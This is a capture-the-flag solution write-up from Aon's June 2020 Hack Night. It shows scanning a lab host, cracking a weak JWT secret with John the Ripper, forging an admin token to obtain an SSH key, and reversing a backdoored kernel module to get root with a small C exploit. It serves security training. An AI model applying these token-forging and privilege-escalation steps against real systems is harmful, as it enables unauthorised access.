Hack Night June 2020 Challenge Solution

***Contact:** David Glenn Baylon (david.glenn.baylon@aon.ca)*

Overview

Every month, the Testing team of Aon's Cyber Solutions hosts a meet up where team members can make and solve challenges in a safe, controlled, and ethical environment. Team members of all skill levels learn from each other, and the event helps build camaraderie.

The June 2020 Challenge involves Web Application and Binary Reversing challenges. The Web Application portion consists of an insecure JSON Web Tokens (JWT) implementation allowing a user to forge arbitrary JWTs and access an administrative panel, which will enable a user to log into the machine. Once inside, a custom system service with a privilege escalation vulnerability will grant the user root permissions to the machine.

Web Application Walkthrough

Reconnaissance

A quick port scan shows the target to be listening on two ports:

```
$ sudo masscan --rate 1000 -p 1-65535 192.168.0.11
Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2020-06-30 18:30:35 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65535 ports/host]
Discovered open port 8080/tcp on 192.168.0.11
Discovered open port 2222/tcp on 192.168.0.11
```

Tackling the web port (i.e., TCP port 8080), we are presented with a basic AJAX login page with a few interesting parts. Below are the HTTP requests and responses, which can be obtained by using your web browser and its Developer Tools, an intercepting proxy such as Burp Suite[1] or a CLI tool such as Curl[2].

Request #1:

```
GET / HTTP/1.1
Host: 192.168.0.11:8080
[..snip..]
HTTP/1.1 200 OK
[..snip..]
```

Response #1:

```
Server: Kestrel
[..snip..]
       <script src="/js/main.js"></script>
[..snip..]
                     <input type="text" id="username" name="username" placeholder="User">
                     <input type="password" id="password" name="password" placeholder="password">
                     <input type="submit" value="Get Token">
[..snip..]
              <div id="secretcontainer" style="display:none">
                     <h5>Secrets Service</h5>
                     <a>Access Secrets (as <span id="displayname"></span>)</a>
                     <pre><span id="secrets"></span></pre>
              </div>
```

Request #2:

```
GET /js/main.js HTTP/1.1
Host: 192.168.0.11:8080
[..snip..]
```

[1] https://portswigger.net/burp
[2] https://github.com/curl/curl

Response #2:

```
HTTP/1.1 200 OK
[..snip..]

$(function() {
       /*
        * Storing the JWT in the session is okay, right..?
        * I made sure the JWT key isn't in password.lst, but I still have to check rockyou.txt
        */
       sessionStorage.clear();

       $("a").on("click", () => {
              $.ajax({
                     url: "/secrets/",
                     type: "GET",
                     beforeSend: (xhr) => {
                            xhr.setRequestHeader("Authorization", "Bearer " +
sessionStorage.getItem("token"));
                     },
[..snip..]
       $("form").on("submit", (e) => {
              e.preventDefault();
              u = {};
              u.username = $("#username").val();
              u.password = $("#password").val();
              $.ajax({
                     url: "/users/authenticate",
                     type: "POST",
[..snip..]
                     success: (res) => {
                            sessionStorage.setItem("token", res.token);
[..snip..]
```

Attack Phase

The application appears to use JWTs as an authentication token upon posting credentials to `/users/authenticate` (done via the HTML form) and can retrieve secrets via `/secrets/` (done by clicking on "Access Secrets"). After trial-and-error, credentials of `admin/admin` grant a JWT response as a non-super admin.

Request #1:

```
POST /users/authenticate HTTP/1.1
Host: 192.168.0.11:8080
[..snip..]

{"username":"admin","password":"admin"}
```

Response #1:

```
HTTP/1.1 200 OK
[..snip..]

{
  "id": 1,
  "firstName": "Vaughn",
  "lastName": "Pacheco",
  "username": "admin",
  "token":
"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOiIxIiwibmJmIjoxNTkzNTUyMjE0LCJleHAiOjE1OTM2Mzg2MTQsIm
lhdCI6MTU5MzU1MjIxNH0.1aOe2DSeYBWMnaN7aANYle4WzqPbWDezQ8Bkd0f_qCQ",
  "superAdmin": false
}
```

However, attempting to access the `/secrets` resource results in a "Permission denied" alert. We must get access to a super administrator. Attempting to enumerate other API endpoints leads to a user list disclosure.

Request #2:

```
GET /users/ HTTP/1.1
Host: 192.168.0.11:8080
Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOiIxIiwibmJmIjoxNTkzNTUyMjE0LCJleHAiOjE1OTM2Mzg2MTQsIml
hdCI6MTU5MzU1MjIxNH0.1aOe2DSeYBWMnaN7aANYle4WzqPbWDezQ8Bkd0f_qCQ
[..snip..]
```

Response #2:

```
HTTP/1.1 200 OK
[..snip..]

[
  {
    "id": 1,
    "firstName": "Vincent",
    "lastName": "Tre",
    "username": "admin",
    "superAdmin": false
  },
  {
    "id": 1337,
    "firstName": "Chad",
    "lastName": "McDonald",
    "username": "localadmin",
    "superAdmin": true
  }
]
```

Decoding our valid JWT, which we can do with CyberChef's JWT Decode[3], we see an interesting numeric field, `"uid"`, which matches the `"id": 1` we saw in the user disclosure.

```
Headers = {
  "alg" : "HS256",
  "typ" : "JWT"
}

Payload = {
  "uid" : "1",
  "nbf" : 1593552214,
  "exp" : 1593638614,
  "iat" : 1593552214
}

Signature = "1aOe2DSeYBWMnaN7aANYle4WzqPbWDezQ8Bkd0f_qCQ"
```

[3] https://gchq.github.io/CyberChef

From a comment in `main.js`, we have reason to believe the token uses a weak secret. Tools such as jwt2john[4] and John the Ripper[5] make short work of it, using the hinted wordlist `rockyou.txt`[6].

```
$ python ./jwt2john.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOi[.snip..] > hash
$ john --wordlist=rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 128/128 AVX 4x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
mychemicalromance (?)
1g 0:00:00:00 DONE (2020-06-30 17:36) 16.66g/s 68266p/s 68266c/s 68266C/s 123456..oooooo
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```

We can verify this secret using CyberChef's JWT Verify. And Using CyberChef's JWT Sign and the secret "mychemicalromance", we can also forge a JWT with `uid` of `localadmin` (i.e., 1337) from the user disclosure. This new token grants permission to the `/secrets/` endpoint.

```
GET /secrets/ HTTP/1.1
Host: 192.168.0.11:8080
[..snip..]
Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOiIxMzM3IiwibmJmIjoxNTkzNTUyMjE0LCJleHAiOjE1OTM2Mzg2MTQ
sImlhdCI6MTU5MzU1MjIxNH0.iCOEOyQxepSfLhPmQznjsQsw8kqSMCwrwCIOAYmyFNE
[..snip..]


HTTP/1.1 200 OK
[..snip..]

[{"id":1,"secretVal":"-----BEGIN OPENSSH PRIVATE KEY-----\n[..snip..]\n-----END OPENSSH PRIVATE KEY-
----"}]
```

This endpoint contains an OpenSSH private key which trivially grants access to the box via SSH as the web application super admin user (i.e., localadmin), completing the section.

```
$ ssh -p 2222 localadmin@192.168.0.11 -i ./key
Last login: Tue Jun 30 21:51:15 2020 from 10.0.2.2
[localadmin@archlinux ~]$
```

[4] https://github.com/Sjord/jwtcrack
[5] https://www.openwall.com/john
[6] https://github.com/danielmiessler/SecLists/blob/master/Passwords/Leaked-Databases/rockyou.txt.tar.gz

Privilege Escalation Walkthrough

Reconnaissance

There is a note in the flag file mentioning that there is a weird service that has been installed. There is a suspicious one called `hnmodule.service`.

```
[localadmin@archlinux ~]$ systemctl list-unit-files | grep enabled
autovt@.service                                                           enabled         disabled
[..snip..]
hnmodule.service                                                          enabled         disabled
[..snip..]
runlevel6.target                                                          enabled         disabled
[localadmin@archlinux ~]$ systemctl status hnmodule.service
● hnmodule.service - Don't mind me
     Loaded: loaded (/etc/systemd/system/hnmodule.service; enabled; vendor preset: disabled)
     Active: inactive (dead) since Tue 2020-06-30 18:54:56 UTC; 3h 6min ago
    Process: 254 ExecStart=/usr/bin/hnmodule (code=exited, status=0/SUCCESS)
   Main PID: 254 (code=exited, status=0/SUCCESS)
```

The service executed `/usr/bin/hnmodule` and then exited. If we look at this program, we can see that it looks up a kernel address and then injects a module called `coffee_time`.

```
[localadmin@archlinux ~]$ cat /usr/bin/hnmodule
#!/bin/bash

/usr/bin/rmmod coffee_time
offset=$(/usr/bin/grep -w kallsyms_lookup_name /proc/kallsyms | /usr/bin/awk '{print $1}')
/usr/bin/insmod /usr/lib/modules/coffee_time.ko ptr_kallsyms=0x${offset}
/usr/bin/chmod 1333 /tmp
```

This does not look like a normal kernel module and there could be a potential vulnerability that can be exploited. We can retrieve this module, `coffee_time.ko`, locally for further analysis by using something like scp to transfer the file to our machine.

```
$ scp -P 2222 -i ./key localadmin@192.168.0.11:/usr/lib/modules/coffee_time.ko ./coffee_time.ko
coffee_time.ko
$ file ./coffee_time.ko
./coffee_time.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV),
BuildID[sha1]=80a825a18a621a4d47f6cb3c2b0a71aabc079634, with debug_info, not stripped
```

Reverse Engineering

The binary has debug info and is not stripped, so reversing it with Ghidra[7] in extremely readable code. During module initialization, the set_syscall_func function is called with the syscall table location, a syscall number, and a pointer to a function in the module. The affected syscalls are likely 0x3b (i.e., execve syscall) and 0x69 (i.e., setuid syscall). Additionally, the global variable coffeeUid is initialized to the value 0xCAFE.

```
undefined8 init_module(void)

{
  undefined8 uVar1;

  __fentry__();
  sprint_symbol_no_offset(symbolbuf,ptr_kallsyms);
  if ((((symbolbuf._0_8_ == 0x736d79736c6c616b) && (symbolbuf._8_8_ == 0x5f70756b6f6f6c5f)) &&
      (symbolbuf._16_4_ == 0x656d616e)) && (symbolbuf[20] == '\0')) {
    uVar1 = 0;
    coffeeUid = 0xcafe;
    syscalltable = __x86_indirect_thunk_rax("sys_call_table");
    a_a = set_syscall_func(syscalltable,0x3b,a);
    b_a = set_syscall_func(syscalltable,0x69,b);
  }
  else {
    uVar1 = 0xffffffff;
    printk(&DAT_00100448,symbolbuf);
  }
  return uVar1;
}
```

Examining the function that execve may be overridden by (a), it appears that if some part of the execve call (at param_1 + 0x70) contains flag and givemeroot, a message is printed. If that part contains hnJune and the current UID matches coffeeUid, then the credentials are upgraded to root.

[7] https://github.com/NationalSecurityAgency/ghidra/releases

```
void a(long param_1)

{
  char *pcVar1;
  undefined8 uVar2;
  long in_GS_OFFSET;

  __fentry__();
  strncpy_from_user(u_f,*(undefined8 *)(param_1 + 0x70),0x100);
  u_f[255] = 0;
  pcVar1 = strstr(u_f,"flag");
  if (pcVar1 != (char *)0x0) {
    pcVar1 = strstr(u_f,"givemeroot");
    if (pcVar1 != (char *)0x0) {
      printk(&DAT_001003f8);
    }
  }
  pcVar1 = strstr(u_f,"hnJune");
  if (pcVar1 != (char *)0x0) {
    if (*(int *)(*(long *)(*(long *)(&current_task + in_GS_OFFSET) + 0x6b0) + 4) == coffeeUid) {
      uVar2 = prepare_kernel_cred(0);
      commit_creds(uVar2);
    }
    else {
      printk(&DAT_00100420);
    }
  }
  __x86_indirect_thunk_rax(param_1);
  return;
}
```

A big problem is that users are not able to change their UID anytime at random, only root is able to. However, examining the function that `setuid` may be overridden by (b) shows an authorization bypass.

```
void b(long param_1)

{
  long lVar1;

  __fentry__();
  lVar1 = prepare_creds();
  if (*(long *)(param_1 + 0x70) != 0xcafe) {
    __x86_indirect_thunk_rax(param_1);
    return;
  }
  *(undefined4 *)(lVar1 + 4) = coffeeUid;
  commit_creds(lVar1);
  __x86_indirect_thunk_rax(param_1);
  return;
}
```

If `setuid` is called with the same UID as used by `coffeeUid`, the credentials are applied immediately without any checks!

Exploit

For our exploit, we just need to execute `setuid(0xCAFE)` and then call a program that has the string `hnJune` in its name.

```
[localadmin@archlinux dn-exploit]$ ln -s /bin/bash ./hnJune
[localadmin@archlinux dn-exploit]$ cat exploit.c
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char** argv) {
       setuid(0xCAFE);
       execve("./hnJune", NULL, NULL);
       }
[localadmin@archlinux dn-exploit]$ gcc exploit.c -o exploit
[localadmin@archlinux dn-exploit]$ ./exploit
[root@archlinux dn-exploit]# whoami
root
[root@archlinux dn-exploit]#
```

Tools Used

- **Burp Suite**

  https://portswigger.net/burp

- **Curl**

  https://github.com/curl/curl

- **CyberChef**

  https://gchq.github.io/CyberChef

- **jwt2john**

  https://github.com/Sjord/jwtcrack

- **John the Ripper**

  https://www.openwall.com/john

- **Ghidra**

  https://github.com/NationalSecurityAgency/ghidra/releases

- **rockyou.txt**

  https://github.com/danielmiessler/SecLists/blob/master/Passwords/Leaked-Databases/rockyou.txt.tar.gz

About Cyber Labs

Security Research & Development is a core focus and competitive advantage for Aon. Aon's Cyber Labs team has the following primary directives:

- Assessing cutting-edge technology stacks
- Improving delivery efficiency through custom tool development
- Finding & responsibly disclosing vulnerabilities in high value targets
- Assessing the impact to our clients of high risk, publicly disclosed vulnerabilities

Aon's Cyber Labs R&D team performs security research, with areas of current focus including mobile application security, embedded systems, and cryptography. Aon also participates in many security related organizations and groups such as OWASP and sponsors industry events and conferences such as Black Hat, CRESTCon, HushCon, and BSides. Aon's Cyber Labs is a value-added service that our clients benefit from on virtually every engagement that we perform.

About Cyber Solutions

Aon's Cyber Solutions offers holistic cyber risk management, unsurpassed investigative skills, and proprietary technologies to help clients uncover and quantify cyber risks, protect critical assets, and recover from cyber incidents.

About Aon

Aon plc (NYSE:AON) is a leading global professional services firm providing a broad range of risk, retirement and health solutions. Our 50,000 colleagues in 120 countries empower results for clients by using proprietary data and analytics to deliver insights that reduce volatility and improve performance.

Cyber security services offered by Stroz Friedberg Inc. and its affiliates. Insurance products and services offered by Aon Risk Insurance Services West, Inc., Aon Risk Services Central, Inc., Aon Risk Services Northeast, Inc., Aon Risk Services Southwest, Inc., and Aon Risk Services, Inc. of Florida and their licensed affiliates.